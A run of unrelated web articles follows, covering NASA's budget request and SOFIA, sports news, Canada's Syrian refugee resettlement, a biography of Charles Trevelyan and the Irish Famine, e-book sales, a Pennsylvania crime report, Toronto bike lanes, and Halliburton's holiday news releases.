Astrophysics takes a hit in this request, coming in at $63 million below last year's request. Most of this come from mothballing the SOFIA infrared observatory, which had just begun full science operations this year. That's a tough one for many in the astrophysics community, as there is no good replacement for mid-IR astronomy until JWST. Operations for this telescope were unusually expensive, around $85 million per year, which is the second highest at NASA behind the Hubble Space Telescope.
I want to note that there is a lot yet to happen with SOFIA. The German space agency, DLR, is a major investor in this project and could step in to help fund the telescope. Also, the proposal isn't to destroy the equipment, but to keep it in storage. If the worst happens, SOFIA could theoretically be resurrected when budgets improve.
The good news about astrophysics is they begin their own formulation studies on WFIRST, on a scale comparable to the meager investment in a Europa mission.
Rick Sternbach / Keck Institute for Space Studies Keck ARM concept The original Asteroid Redirect Mission concept, as envisioned by the Keck Institute, uses a large capture bag to enclose a small asteroid. NASA has since opted for a claw mechanism that would pluck a small boulder off the surface of a larger asteroid. The original Asteroid Redirect Mission concept, as envisioned by the Keck Institute, uses a large capture bag to enclose a small asteroid. NASA has since opted for a claw mechanism that would pluck a small boulder off the surface of a larger asteroid.
Asteroid Redirect Mission
NASA proposes to spend $133 million in service of its Asteroid Redirect Mission concept. This is on the same scale as last year, and is divided throughout the agency. $20 million of this is included in continued funding for near-Earth object searches (in the Planetary Science Division), an unambiguously good investment to any thinking human being.
But the strange thing to me, at least, is that we still don't know how much this mission is going to cost. Update: Maybe we do? See my note below. How could NASA spend a year with ARM as its major initiative and still not know how much it's going to cost or what, exactly, the capture mission is going to look like? I ask this earnestly. Update: I still have not received a satisfactory answer to this question.
The projected five year budgets for NASA don't seem to increase to a level necessary to build an asteroid capture spacecraft, but we don't have the detailed breakdowns, so who knows. Update: I've been told that the cost *is* included in the budget projections, and should come in around $1.5 billion. Still no word on exactly where within NASA will pay for this. So I'm eager to delve into this when NASA releases its full budget request in a few days. The ARM's proposal last year led to some very mixed opinions in Congress and the scientific community, so I would have expected NASA to come out swinging with detailed mission plans or at least a clear direction. I didn't see either of those things.
Education
Last year, the White House proposed consolidating nearly all education and public outreach programs to external agencies. It's difficult to suss out exactly what's happening in this budget request, since we still don't have the detailed breakdown. There may be some consolidation, but internal to NASA. We'll have to wait for more information to be sure.
One thing we do know is that the budget for NASA's Education division is cut considerably, down to $89 million from the $116 million that Congress approved in 2014. I am reasonably confident that Congress will restore this number to some degree, if history is any guide.
The Other Stuff
Other major projects like the James Webb Space Telescope, the Space Launch System, Orion crew capsule, Commercial Crew, and the ISS continue on as planned; there is not much to say about the funding on any of these projects. Proponents of Commercial Crew may be able to make a stronger case for full-funding this year in light of the recent U.S.-Russian political breakdown.
Overall Impressions
I'm mixed. I'm happy that NASA is finally fighting for a small bump for its immensely popular and successful planetary exploration program, including the acknowledgement that Europa just might actually be a compelling destination, but it's the first small step of many that need to come. Our current golden age of planetary exploration is the result of funding decisions made over a decade ago. The decisions NASA and Congress (and you!) make now will impact us 5 - 10 years from now, when we may come to realize just how much we've lost. Even with these small steps, we're looking at a significant drop of active missions, from something like a dozen now to less than half of that in the 2020s. That is not a legacy I think anyone wants to have, particularly at the White House.
NASA's overall budget continues to get chipped away. Analysts were worried that a flat NASA budget at $17.7 billion would be difficult to maintain given NASA's commitments. Now we're over $200 million less than that. SOFIA is the most recent casualty of this slow decline.
But, as I said, many things are pointing in the right direction. The crucial part comes now, as the Society revs up its advocacy activities. Remember, this is just the budget request. Congress will now take the request as its starting point and add or subtract various items. We have a few months as this process moves forward, and NASA should be providing more information within a few days regarding exact program breakdowns.
But if you're disappointed about NASA's total budget, or the mothballing of SOFIA, or the slow-step towards Europa, don't just complain about it. Complain to your congressional representatives! It makes a difference.
Casey Dreier Chief Advocate & Senior Space Policy Adviser for The Planetary Society
The votes are in and the message couldn't be clearer: Marca.com readers are convinced this is the best Real Madrid squad in 20 years, despite not having made any major signings.
The only slight adjustments from last year's campaign are Alvaro Morata and Marco Asensio making their returns, while Jese has left for PSG.
More than 8,500 readers and 28% of those who voted in total, agree with club president Florentino Perez in that this is a 'spectacular squad that is impossible to improve on'.
In second place is the 2002/03 squad, which ZinedineZidane was a part of as a player, picking up LaLiga, a UEFA Super Cup, and the Intercontinental Cup that year.
With another three-sack effort in a 45-16 blowout win over the San Francisco 49ers Sunday, the Bills now have 20 sacks through six games. That total is one shy of the Denver Broncos for the league lead and one shy of Buffalo's total from all of last season. Oh, and the Bills have done it all without first-round pick Shaq Lawson, the star Clemson pass rusher who was supposed to help put pressure on quarterbacks, and Marcell Dareus, the team's highest paid defensive player.
Lawson has been recovering from shoulder surgery since the offseason, while Dareus spent the first four weeks of the season suspended and the last two dealing with a hamstring injury. Meanwhile, 33-year old Lorenzo Alexander, who never had more than 2.5 sacks in a single season, has stepped in and is leading the league with eight sacks.
So the Bills haven't allowed more than 20 points in five of their six games this season and are second in the league in sacks. Uh, you think this defense might get even better when two of the most talented front-seven players return? Yeah, probably.
Lawson is eligible to return to practice on Monday, and the Bills fully expect him to be ready to play in some capacity when the team plays its Week 7 game against the Miami Dolphins.
"I'll leave that to the coaches," Bills general manager Doug Whaley said last week on WGR 550. "The way I look at it is you have a rotation of three good guys with him, Lorenzo Alexander and Jerry Hughes. Then you throw in (Lerentee) McCray, so you'll have four guys. That's a positive because then you can rest those guys in the fourth quarter if let's say we're up and those guys are in pass mode, you have four fresh guys that you can rotate in there and get after the quarterback. So I don't see that as a problem, I see that as a positive."
Meanwhile, Dareus is getting closer to making his season debut. He didn't practice at all last week and could be a long shot to play in Week 7, but he'll be back before long.
"I'd be stupid to say that's not exciting," defensive line coach John Blake said. "We would love to get our big boy back. It's amazing that while we're waiting on him to get back, a lot of these guys are getting experience and confidence. So when we get him back it's going to be very fun to go along with the guys we have already."
Adding a first-round pick and a dominant nose tackle to one of the NFL's most productive front sevens? That certainly sounds like fun for Rex and Rob Ryan. It doesn't sound all that amusing for opposing quarterbacks.
A young boy runs through a field carrying a Canadian flag, the sun lit behind him as the country’s red and white national colors flap in the wind. Above the photo, large text reads, “Welcome to Canada,” with the Arabic transliteration below: Ahlan wa sahlan. “Welcome.”
This is the cover of Thursday’s Toronto Star, Canada’s largest-circulation newspaper, as the country prepares to welcome the first tranche of Syrian refugees in the newly elected Liberal government’s resettlement program. The front-page photo is accompanied by a heartfelt editorial welcoming the freshly arrived Syrians and briefing them on life in Canada.
Front page of the @TorontoStar today, as Canada welcomes first tranche of refugees. pic.twitter.com/X5EwdiL5gL — Reid Standish (@ReidStan) December 10, 2015
“You’ll find the place a little bigger than Damascus or Aleppo, and a whole lot chillier. But friendly for all that. We’re a city that cherishes its diversity; it’s our strength,” reads the editorial. “It’s been a long trek, but you are no longer refugees. Your days of being strangers in a strange land are over.”
Prime Minister Justin Trudeau, who plans to meet the refugees as they arrive, told the House of Commons on Wednesday that the first plane carrying more than 160 refugees was expected to land from Beirut at 9:15 p.m. Eastern Thursday at Toronto’s international airport. A second plane is scheduled to carry more refugees from Beirut to Montreal on Saturday.
“Resettling refugees demonstrates our commitment to Canadians, and to the world, that Canada understands that we can and must do more,” Trudeau said during the question period in Parliament.
Trudeau’s government committed to resettling 25,000 Syrian refugees by the end of February next year, with 10,000 set to arrive by the end of this year. Canadian Immigration Minister John McCallum told reporters at a news conference Wednesday that 11,932 refugee applications were already being processed in Lebanon, Jordan, and Turkey — the three countries with the largest populations of Syrian refugees. In preparation for the influx of newcomers, temporary processing centers have been set up at airports in Montreal and Toronto as Canadian authorities transition refugees into permanent housing across the country.
The first wave of Canada’s resettlement program comes as anti-Muslim rhetoric continues to rise in the United States in the wake of terrorist attacks in Paris and San Bernardino, California. On Monday, real estate mogul and Republican presidential front-runner Donald Trump proposed “a total and complete shutdown of Muslims entering the United States until our country’s representatives can figure out what is going on.”
Trump’s comments have been met with both outcry and support in America and mark a major political shift as the nature of Islam, and Muslims in general, becomes one of the domineering topics of the U.S. election cycle so far. A new poll released Wednesday by the Washington-based Brookings Institution found that “American views of Muslims are strikingly partisan.” According to the poll’s findings, 67 percent of Democrats express favorable views of Muslims, contrasted with only 41 percent of Republicans. When asked about Islam in general, 51 percent of Democrats view the religion favorably, compared to 27 percent of Republicans.
Canadians generally have more positive views. Polls in September found that three-quarters of Canadians wanted to accept more refugees into the country. However, a November poll conducted after the Paris attacks and the announcement of the Liberal government’s new policy saw a drop in support, with 51 percent opposing Ottawa’s measures.
Trudeau had made the 25,000-refugee target an important element of his campaign platform as early as last March and doubled down as Canada’s October election approached. Former Prime Minister Stephen Harper of the Conservative Party had maintained a hard line on Syria refugees, claiming national security was more important than the humanitarian crisis. However, popular sentiment began to shift after the photo of a dead Syrian toddler, who had washed ashore in Turkey as his family began to make their way to Canada, grabbed international headlines in September. Yet Harper did not change his tone, deriding the use of the niqab, or Islamic face veil, during a debate and railing against the dangers of Muslim immigration. Trudeau and other Harper critics seized upon this, describing the Conservative leader’s statements as un-Canadian.
In the wake of the Paris attacks that killed 130, the Trudeau government has slowed — but not discarded — the refugee policy that originally planned to bring 25,000 Syrians to Canada by Jan. 1, 2016.
Sir Charles Edward Trevelyan, 1st Baronet, KCB (2 April 1807 – 19 June 1886) was a British civil servant and colonial administrator. As a young man, he worked with the colonial government in Calcutta, India; in the late 1850s and 1860s he served there in senior-level appointments. Trevelyan was instrumental in the process of reforming the British civil service in the 1850s.
This legacy is largely overshadowed by the controversial role he played in the British government's response to the Irish Potato Famine.
It has been said that:
Trevelyan's most enduring mark on history may be the quasi-genocidal anti-Irish racial sentiment he expressed during his term in the critical position of administrating relief for the millions of Irish peasants suffering under the Irish famine as Assistant Secretary to HM Treasury (1840–1859) under the Whig administration of Lord Russell.[1]
During the height of the famine, Trevelyan was slow to disburse direct government food and monetary aid to the Irish due to his strong belief in laissez-faire economics and the free hand of the market.[2] He wrote highly disparaging remarks about the Irish in a letter to an Irish peer.[3]
Trevelyan never expressed remorse for his comments or actions. His defenders say that larger factors than Trevelyan's own acts and beliefs were more central to the problem of the famine and its high mortality.[4]
Cecil Woodham-Smith wrote of him:
his mind was powerful, his character admirably scrupulous and upright, his devotion to duty praiseworthy, but he had a remarkable insensitiveness. Since he took action only after conscientiously satisfying himself what he proposed to do was ethical and justified he went forward impervious to other considerations, sustained but also blinded by his conviction of doing right.
However, Trevelyan's own words that "the judgement of God sent the calamity to teach the Irish a lesson" make the proposition that he denied aid to the Irish solely because of his belief in laissez-faire questionable.
Early life and education [ edit ]
Trevelyan was born in Taunton, Somerset, the son of a Cornish clergyman, the Venerable George Trevelyan, who became Archdeacon of Taunton, and his wife Harriet, daughter of Sir Richard Neave. His paternal grandfather was Sir John Trevelyan, 4th Baronet (see Trevelyan baronets for earlier history of the family) an old ethnically Cornish family originating from St Veep, Cornwall. He was educated at Blundell's School, Charterhouse School and the East India Company College. R.A.C. Balfour stated that "his early life was influenced by his parents membership of the Clapham Sect - a group of sophisticated families noted for their severity of principle as much as for their fervent evangelism."
Notably, Trevelyan was a student of the economist Thomas Malthus while at Haileybury. His rigid adherence to Malthusian population theory during the Irish famine is often attributed to this formative tutelage.[7]
Career [ edit ]
Charles Trevelyan, sitting second from left, with John Lawrence , Viceroy of India and other council members. c. 1864
In 1826, as a young man, Trevelyan joined the East India Company as a writer and was posted to the Bengal Civil Service at Delhi, India. There, by a combination of diligence and self-discipline together with his outstanding intellectual talents he achieved rapid promotion. He occupied several important and influential positions in various parts of India, but his priggish and often indiscreet behaviour endeared him to few of his colleagues and involved him in almost continual controversy.
On return to England in 1840 he was appointed as assistant secretary to HM Treasury, and served to 1859, during both the Irish famine and the Highland Potato Famine of 1846–1857 in Scotland. In Ireland, he administered famine relief, whilst in Scotland he was closely associated with the work of the Central Board for Highland Relief. His inaction and personal negative attitude towards the Irish people are widely believed to have slowed relief for the famine.[8] In one letter dated 29 April 1846, Trevelyan wrote:
Our measures must proceed with as little disturbance as possible of the ordinary course of private trade, which must ever be the chief resource for the subsistence of the people, but, coûte que coûte (at any cost), the people must not, under any circumstances, be allowed to starve.[9]
Meanwhile, the Irish watched with increasing anger as boatloads of homegrown oats and grain departed on schedule from their shores for shipment to England. Food riots erupted in ports such as Youghal, near Cork, where people tried unsuccessfully to confiscate a boatload of oats. At Dungarvan, in County Waterford, British troops were pelted with stones as they shot into the crowd, killing at least two people and wounding several others. British naval escorts were then provided for the riverboats.
He was cofounder in 1851, with Sir John McNeill, of the Highland and Island Emigration Society which during the Highland Clearances supported an exodus of nearly 5,000 people to Australia between 1851 and 1858.[10]
Trevelyan was Governor of Madras from 1859 to 1860, and Indian Finance Minister from 1862 to 1865. A reformer of the civil service, he is widely regarded as the founder of the modern British civil service.
Marriage and family [ edit ]
On 23 December 1834, while in India, he married Hannah More Macaulay, sister of Lord Macaulay, who was then a member of the supreme council of India, and one of his closest friends. Their only son, who inherited the Baronetcy on his father's death, was Sir George Trevelyan, 2nd Baronet, the statesman. Hannah Macaulay Trevelyan died on 5 August 1873.
Trevelyan married, secondly, on 14 October 1875, Eleanor Anne, daughter of Walter Campbell of Islay.
Biography [ edit ]
India [ edit ]
He entered the East India Company's Bengal civil service as a writer in 1826, having displayed from an early age a great proficiency in Asian languages and dialects. On 4 January 1827, Trevelyan was appointed assistant to Sir Charles Theophilus Metcalfe, the commissioner at Delhi, where, during a residence of four years, he was entrusted with the conduct of several important missions. For some time he acted as guardian to the youthful Madhu Singh, the Rajah of Bhurtpore. He also worked to improve the condition of the native population.[11] He abolished the transit duties by which the internal trade of India had long been fettered. For these and other services, he received the special thanks of the governor-general in council. Before leaving Delhi, he donated personal funds for construction of a broad street through a new suburb, then in course of erection, which thenceforth became known as Trevelyanpur.
In 1831, he moved to Calcutta, and became deputy secretary to the government in the political department. Trevelyan was especially zealous in the cause of education, and in 1835, largely owing to his persistence, government was led to decide in favour of the promulgation of European literature and science among the Indians. An account of the efforts of government, entitled On the Education of the People of India, was published by Trevelyan in 1838. In April 1836, he was nominated secretary to the Sudder board of revenue, an office he had held until his return in January 1838.
Role in Irish Potato Famine [ edit ]
On 21 January 1840, he entered on the duties of assistant secretary to Her Majesty's Treasury in London, and discharged the functions of that office for nineteen years. In Ireland he administered the relief works of 1845–47, when upwards of 734,000 men were employed by the government during the Great Famine. Altogether, about a million people in Ireland are reliably estimated to have died of starvation and epidemic disease between 1846 and 1851, and some two million emigrated in a period of a little more than a decade (1845–55). On 27 April 1848 Trevelyan was made a KCB in reward of his services.
The Great Famine in Ireland began as a natural catastrophe of extraordinary magnitude, but its effects were severely worsened by the actions and inactions of the Whig government, headed by Lord John Russell in the crucial years from 1846 to 1852. Many members of the British upper and middle classes believed that the famine was a divine judgment—an act of Providence. A leading exponent of the providentialist perspective was Trevelyan, who was chiefly responsible for administering Irish relief policy throughout the famine years. In his book The Irish Crisis, published in 1848, Trevelyan later described the famine as "a direct stroke of an all-wise and all-merciful Providence", one which laid bare "the deep and inveterate root of social evil". The famine, he declared, was "the sharp but effectual remedy by which the cure is likely to be effected... God grant that the generation to which this great opportunity has been offered may rightly perform its part ..." This mentality of Trevelyan's was influential in persuading the government to do nothing to restrain mass evictions.
During the Great Famine, specifically 1846, the Whig–Liberal Government held power in Britain, with Trevelyan acting as treasurer.[12] In this position Trevelyan had considerable influence over the parliament's decisions, especially the plans for the relief effort in Ireland.[12] Along with the Whig government, he believed Ireland needed to correct itself and that a laissez-faire attitude was the best solution. Though the efforts made by Trevelyan did not produce any permanent remedy to the situation, he believed that if the British Government gave Ireland all that was necessary to survive, the Irish people would come to rely on the British government instead of fixing their problems.[13]
In the summer of 1846, Trevelyan ordered the Peelite Relief Programmes, which had been operating since the early years of the famine, to be shut down. This was done on 21 July 1846 by Sir Charles Wood.[14] Trevelyan believed that if the relief continued while a new food crisis was unfolding, the poor would become permanently conditioned to having the state take care of them.[14]
After the end of the Peelite Relief Programs, the Whig–Liberal government instituted the Labour Rate Act, which provided aid only to the most severely affected areas of the famine.[13] This Labour Act took time to be implemented, as was Trevelyan's intention, allowing Britain to spend the bare minimum to feed those starving from the famine. He was nicknamed as "lynchpin of relief operations".[12] Trevelyan believed that labourers should have seen this as a happy event to take advantage of what he called "breathing-time" to harvest their own crops and carry out wage-producing harvest work for large farmers.[13] But the return of the blight had deprived labourers of any crops to harvest and farmers of agricultural work to hire labourers for.[13]
Trevelyan expressed his views in letters that year to Lord Monteagle of Brandon and in an article in The Times. But in 1846 more than ninety percent of the potato crop had been destroyed.[15]
Trevelyan wrote to Lord Monteagle of Brandon]], a former Chancellor of the Exchequer, that the famine was an "effective mechanism for reducing surplus population", and was "the judgement of God". Further he wrote that "The real evil with which we have to contend is not the physical evil of the Famine, but the moral evil of the selfish, perverse and turbulent character of the people".[3][16][17]
Trevelyan said in his 9 October 1846 letter to Lord Monteagle that "the government establishments are strained to the utmost to alleviate this great calamity and avert this danger" as was within their power so to do.[18] Trevelyan praised the government and denounced the Irish gentry in his letter, blaming them for the famine.[18] He believed that the landlords were responsible to feed the labourers and increase land productivity.[18] The Times agreed with Trevelyan, faulting the gentry for not instructing their proprietors to improve their estates and not planting crops other than the potato.[19] In his letter to Lord Monteagle, Trevelyan identified the gentry with the "defective part of the national character" and chastised them for expecting the government to fix everything, "as if they have themselves no part to perform in this great crisis."[18] By blaming the famine on the gentry, Trevelyan justified the actions—or inaction—of the British Government.
The potato blight eventually spread to the Western Highlands of Scotland, causing similar destitution and deaths. In 1851, in response to that crisis, Trevelyan and Sir John McNeill founded the Highland and Island Emigration Society. From 1851 until its termination in 1858, the society sponsored the emigration of around 5,000 Scots to Australia.[20]
Civil Service Reform [ edit ]
In 1853, Trevelyan proposed the organisation of a new system for hiring of people in the government civil service. The Northcote–Trevelyan Report, signed by himself and Sir Stafford Northcote in November 1853, entitled The Organisation of the Permanent Civil Service, laid the foundation for securing the admission of qualified and educated persons into positions that had been dominated by members of aristocratic and influential families who benefitted by personal networks. It was intended to be a merit system.
Return to India [ edit ]
In 1858, Lord Harris resigned the governorship of the presidency of Madras, and Trevelyan was offered the appointment. Having maintained his knowledge of oriental affairs by close attention to all subjects affecting the interest of India, he entered upon his duties as governor of Madras in the spring of 1859. He soon became popular in the presidency. Believed due to his conduct in office, the natives became reconciled to the government.[citation needed] An assessment was carried out, a police system organised in every part, and, contrary to the traditions of the East India Company, land was sold in fee simple to any one who wished to purchase. These and other reforms introduced or developed by Trevelyan won the gratitude and esteem of the Madras population.[citation needed]
All went well until February 1860. Towards the close of 1859, James Wilson had been appointed financial member of the legislative council of India. At the beginning of the new year, he proposed a plan of retrenchment and taxation by which he hoped to improve the financial position of the British administration: his plan was introduced at Calcutta, the seat of government, on 18 February, and transmitted to Madras. On 4 March, an open telegram was sent to Calcutta implying an adverse opinion of this proposal by the governor and council of Madras. On 9 March, a letter was sent to Madras stating the central government's objection to the transmission of such a message in an open telegram at a time when native feeling could not be considered stable. At the same time, the representative of the Madras government in the legislative council of India was prohibited from following the instructions of his superiors to lay their views upon the table and to advocate on their behalf. On 21 March, the government sent another telegram to Madras declaring the bill would be introduced and referred to a committee which was due to report in five weeks. On 26 March, opinions among Trevelyan and his council were recorded and, on his authority, the document found its way into the papers.
On arrival of this intelligence in England, the Governor of Madras was at once recalled. This decision occasioned much discussion both in and out of Parliament. Defending the recall of Trevelyan, Palmerston, in his place in parliament, said:
Undoubtedly it conveys a strong censure on one act of Sir Charles Trevelyan's public conduct, yet Sir Charles Trevelyan has merits too, inherent in his character, to be clouded and overshadowed by this simple act, and I trust in his future career he may be useful to the public service and do honour to himself.
Sir Charles Wood, the President of the Board of Control, said:
A more honest, zealous, upright, and independent servant could not be. He was a loss to India, but there would be danger if he were allowed to remain, after having adopted a course so subversive of all authority, so fearfully tending to endanger our rule, and so likely to provoke the people to insurrection against the central and responsible authority.[21]
In 1862, Trevelyan returned to India as finance minister. His tenure of office was marked by important administrative reforms and by extensive measures for the development of natural resources in India by means of public works. In 1862, Colonel Douglas Hamilton was given a roving commission by Trevelyan to conduct surveys and make drawings for the Government of all the hill plateaus in Southern India which were likely to suit as Sanitaria, or quarters for European troops.
On his return home in 1865, Trevelyan became engaged in discussions of the question of army purchase, on which he had given evidence before the royal commission in 1857. Later he was associated with a variety of social questions, such as charities, pauperism, and the like, and in the treatment of these. He was a staunch Liberal, and gave his support to the Liberal cause in Northumberland, while residing at Wallington Hall in that county. Trevelyan died at 67 Eaton Square, London, on 19 June 1886, aged 79.
Legacy and honours [ edit ]
Trevelyan was appointed KCB on 27 April 1848. Three decades later on 2 March 1874, he was created the first Trevelyan baronet, of Wallington.
When his cousin Walter Calverley Trevelyan, 6th Baronet, of Nettlecombe, died at Wallington on 23 March 1879, he was childless after two marriages. He bequeathed his north-country property to Charles. A biographer from the family notes that Walter had changed his will in 1852, having been impressed by Charles' son. The young George Otto Trevelyan had visited Walter and his wife and received hints of the secret will. The modest social position of the family was suddenly elevated to one of wealth and property, recorded as an important event in the history of the baronetcy.[16]
The changed will came as a surprise to Alfred Trevelyan, who was advised at the end of a lengthy letter that detailed the evils of alcohol. He issued a costly and unsuccessful challenge for the title and estate.
Publications [ edit ]
In addition to works mentioned, Trevelyan wrote the following:
The Application of the Roman Alphabet to all the Oriental Languages, 1834; 3rd edit. 1858.
1834; 3rd edit. 1858. A Report upon the Inland Customs and Town Duties of the Bengal Presidency, 1834.
1834. The Irish Crisis, 1848; 2nd edit. 1880.
1848; 2nd edit. 1880. The Army Purchase Question and Report and Evidence of the Royal Commission considered, 1858.
1858. The Purchase System in the British Army, 1867; 2nd edit. 1867.
1867; 2nd edit. 1867. The British Army in 1868, 1868; 4th edit. 1868.
1868; 4th edit. 1868. A Standing or a Popular Army, 1869.
1869. Three Letters on the Devonshire Labourer, 1869.
1869. From Pesth to Brindisi, being Notes of a Tour, 1871; 2nd edit. 1876.
1871; 2nd edit. 1876. The Compromise offered by Canada in reference to the reprinting of English Books, 1872.
1872. Christianity and Hinduism contrasted, 1882.
Trevelyan's letters to the Times, with the signature of Indophilus, were collected with Additional Notes in 1857; 3rd edit. 1858. Several of his addresses, letters, and speeches were also published.
In conjunction with his cousin, Sir Walter Calverley Trevelyan, he edited the Trevelyan Papers (Camden Society 1856, 1862, 1872).[22]
Popular culture [ edit ]
Anthony Trollope admitted that Trevelyan was the model for Sir Gregory Hardlines in his novel The Three Clerks (1858). [23]
(1858). Charles Dickens likely based the nepotistic aristocrat Tite Barnacle , a character in his novel Little Dorrit, on Trevelyan. [24] Barnacle controls the "Circumlocution Office", where everything goes round in circles, and nothing ever gets done.
, a character in his novel on Trevelyan. Barnacle controls the "Circumlocution Office", where everything goes round in circles, and nothing ever gets done. The Irish-American rock band Black 47, in their song of the same name from their 1992 album Fire of Freedom , refer to Trevelyan, as well as Queen Victoria and Lord Russell, as being among those responsible for the famine.
, refer to Trevelyan, as well as Queen Victoria and Lord Russell, as being among those responsible for the famine. Trevelyan is referred to in the modern Irish folk song "The Fields of Athenry," about the Great Irish Famine: "Michael, they have taken you away / because you stole Trevelyan's corn / so the young might see the morn / now a prison ship lies waiting in the bay."[25] Because of Trevelyan's policies, the Irish consider him one of the most detested figures in their history, along with Oliver Cromwell, who conquered the country in the 17th century.
References [ edit ]
Notes [ edit ]
Whatever the causes for the decrease in e-book sales, the decline has resulted in something that many publishing experts thought would never happen—unit sales of hardcovers overtook unit sales of e-books. With hardcover units up 5% in 2016 over 2015, hardcover’s 188 million units sold topped that of e-books for the first time since Borders closed in 2012, Stolper said.
I have a pet theory about this, and it’s very simple: it’s about the stores. Here’s how it works.
E-bookstores expand to country after country, publisher after publisher => sales of e-books go up.
Borders and other chain bookstores shut down => sales of print books go down.
Barnes & Noble and other e-bookstores shut down, leaving Amazon basically the only game in town => sales of e-books go down. (Also prices go up.)
People stop using devices that are basically stores with readers attached, and use phones and tablets where it’s harder to buy => sales of e-books go down some more.
It’s the same boom-and-bust that we had when the new chain bookstores came through thirty years ago and gradually killed each other off! Lots of places to buy books, then hardly any places to buy books.
Meanwhile, indie bookstores are weathering the storm and big box stores are still pushing books at a discount, keeping print books afloat. Which is exactly what the publishers and a lot of other players in the market have always wanted: a high e-book prices, both to preserve a revenue floor and to keep the entire print market chain in business. And Amazon’s fine with it — they got the near-monopoly on e-retail they wanted.
Meanwhile, readers are paying more for books and have fewer places from which to buy them. As much as I like a good hardcover, that hardly feels like a win.
Buying a book is what they call a crime of opportunity. If there were more viable e-bookstores (and if DRM weren’t such a monster, there’s no reason every website couldn’t be an e-bookstore), we’d have better competition on price (collusion and market choices aside) and everyone would sell a whole lot more e-books.
Update: I screwed up the first draft of this and conflated hardcover units with total print sales. (I also forgot to include the link to the Publishers Weekly story I quoted.) To be clear, hardcovers are outselling e-books now, from the publishers covered in Nielsen’s survey. E-books have never outsold all print books — even rosy projections back in 2014, when e-book sales were about a third of the market, didn’t think they’d cross that 50/50 threshold until well into this decade. Thanks to Doug Gates who spotted the error.
Update 2: Dan Cohen pointed out a number of other factors tipping sales measurement in favor of print: “dark” but legal reading of e-books that doesn’t get counted (libraries, open e-books, DRM-free private sales by authors and indies), and increased sales of audiobooks, which eats away at the e-book market. E-readers, too, haven’t really improved much; neither have the aesthetics of the books themselves. Other readers pointed out that readers feel burned by stores and services failing.
PENN HILLS, Pa. — A Pennsylvania woman is accused of setting her boyfriend on fire and using urine to put out the flames.
Police say 38-year-old Leigh Ann Sepelyak and her boyfriend, Grady Spencer III, got into an argument Saturday evening, according to Trib Live. When he fell asleep, Sepelyak allegedly doused the man with gas and used a lit cigarette to ignite the fire.
She then used a bucket of urine to put it out. The couple was using the bucket as a toilet.
He was taken to the hospital for treatment after Sepelyak’s parents, who live on the main floor of the house where the incident happened, heard the man’s screaming.
“The parents, when they heard screaming and smelled the smoke, helped put him out — I think with the same urine — and went to the hospital. They never called the police, the hospital called,” said Penn Hills Police Chief Howard Burton.
Spencer suffered burns on 25 to 35 percent of his lower body.
Back in 2009, the number of Torontonians who biked to work or school was close to 400,000, according to a study. But infrastructure hasn't come close to matching the popularity of cycling for practical purposes. ( JENNIFER PAGLIARO / TORONTO STAR ) A separated bike lane on Sherbourne ithat opened exactly a year ago is the first of its kind in Toronto, though public works chair Denzil Minnan-Wong is promising more. ( ALFRED HOLDEN / TORONTO STAR )
Part of that plan is adding lanes to Harbord St. and Hoskin Ave. and approving a pilot project for Richmond and Adelaide Sts. Together those new lanes, totaling nearly seven kilometres, are the most action downtown lanes have seen in the past four years. The proposal is set to go before council June 10. If you’re a cyclist, there is not much to cheer about. Step back to 2001, when the Toronto Bike Plan was endorsed by council and released to much fanfare. It promised to make the city a bicycle-friendly haven. Though ambitious, the feeling at the time was it could be done.
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The plan set out to build by 2011 a 1,000-kilometre network, of which 495 kilometres would be on-road bike lanes. Thirteen years on and well past the plan’s 10-year objective, 1,000 kilometres remains the city’s target — but only on paper. Today the network spans 571 kilometres but includes just 114 kilometres of on-road bike lanes. Since 2010, when Mayor Rob Ford took power, the city has actually lost three kilometres of bike lanes. And under Ford, there has been a shift in focus from on-road bike lanes to off-road trails — a change cycling enthusiasts say is great for recreation riders but does little for commuters. “Where it really took political will, which is the on-street stuff, we kind of fell flat on our face,” said Cycle Toronto’s executive director, Jared Kolb, about the past eight years. What advocates are really after, separated bike lanes — the kind that divide car and cycling traffic with some kind of added barrier, like a planter box, poles or curbs — have seen little real consideration in Toronto.
The city’s first separated lanes, on Sherbourne St., opened after the existing track was updated in 2013. In 2014, the public works committee approved additional lanes on Harbord and Hoskins and the first lanes on Richmond and Adelaide. Both must first be approved by council on June 10 before they are installed.
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Deaths this year: 30,000,000
Net population growth: 40,000,000
: more bikes are being produced than cars, there are 50% more overweight people than undernourished people, cellular phones sold today outsold tv sets worldwide 6 to 1, and far too many women (182,000) died in childbirth this year.
With Christmas and New Year’s happening on the weekends this year, the Friday afternoons ahead of those holidays offer an extra-special opportunity, and Halliburton HAL, -0.66% is taking full advantage. Between 6 p.m. and 7 p.m. Eastern time on the Friday evening before Christmas, the company divulged two interesting bits of news: A bid for a Russian company and the settlement of a lawsuit with origins that stretch back to when Dick Cheney was chief executive of the company.
The first of Halliburton’s two announcements focused on the proposed acquisition of Novomet Oil Services Holding Ltd., a drilling-equipment company based in Perm, Russia. The company announced that it had petitioned the Federal Antimonopoly Service of Russia to find out if the acquisition, which has not been officially completed, would face resistance from Russian regulators.
Halliburton’s attempted purchase arrives amid strained relations between the U.S. and Russia: The U.S. government alleges Russia attempted to influence the recent presidential election through online attacks after disagreements about the war in Syria and U.S. sanctions against Russia for its intervention in Ukraine.
About a half-hour after that release, Halliburton disclosed the end of a class-action lawsuit by investors that had twice been considered by the U.S. Supreme Court during a 14-year legal battle. Halliburton agreed to pay investors $100 million to settle the lawsuit, which claimed the company misled investors about accounting for long-term construction projects, as well as the scope of potential liability from lawsuits related to asbestos claims against Dresser Industries, which then-CEO Cheney acquired in 1998. Halliburton would eventually settle all of its asbestos-related claims for about $5 billion in 2005.
The investor lawsuit would last much longer, with the case reaching the top court in the land in 2011 and 2014, when Halliburton argued that the Supreme Court should overturn or modify an important precedent for investor class-action lawsuits. While Halliburton lost the 2014 argument in a 9-0 ruling, the decision is believed to have provided some relief for companies facing such suits.
Halliburton was appealing yet another decision by a lower court when it finally reached a settlement. In a terse press release that barely topped 200 words, Halliburton managed to find space to note that nearly half the award would be funded by insurance, and that the plaintiffs’ lawyers would take their cut out of the settlement.
Halliburton responded to an email seeking a reason for releasing this news late on a Friday afternoon with this message: “We distributed the news when we were able and prepared to do so.”
But such behavior is not new. The #FridayNightDump is a known avenue for companies, and the wave of filings with the Securities and Exchange Commission at such times is exposed weekly by Footnoted, which tracks SEC filings.
As the site’s Twitter account pointed out Friday, though, the 2016 holiday schedule provides the opportunity for a special double Friday night dump.
so the #fridaynightdump right before New Year's Eve. Works out perfectly for them. — A complexifier (@jowens510) December 24, 2016
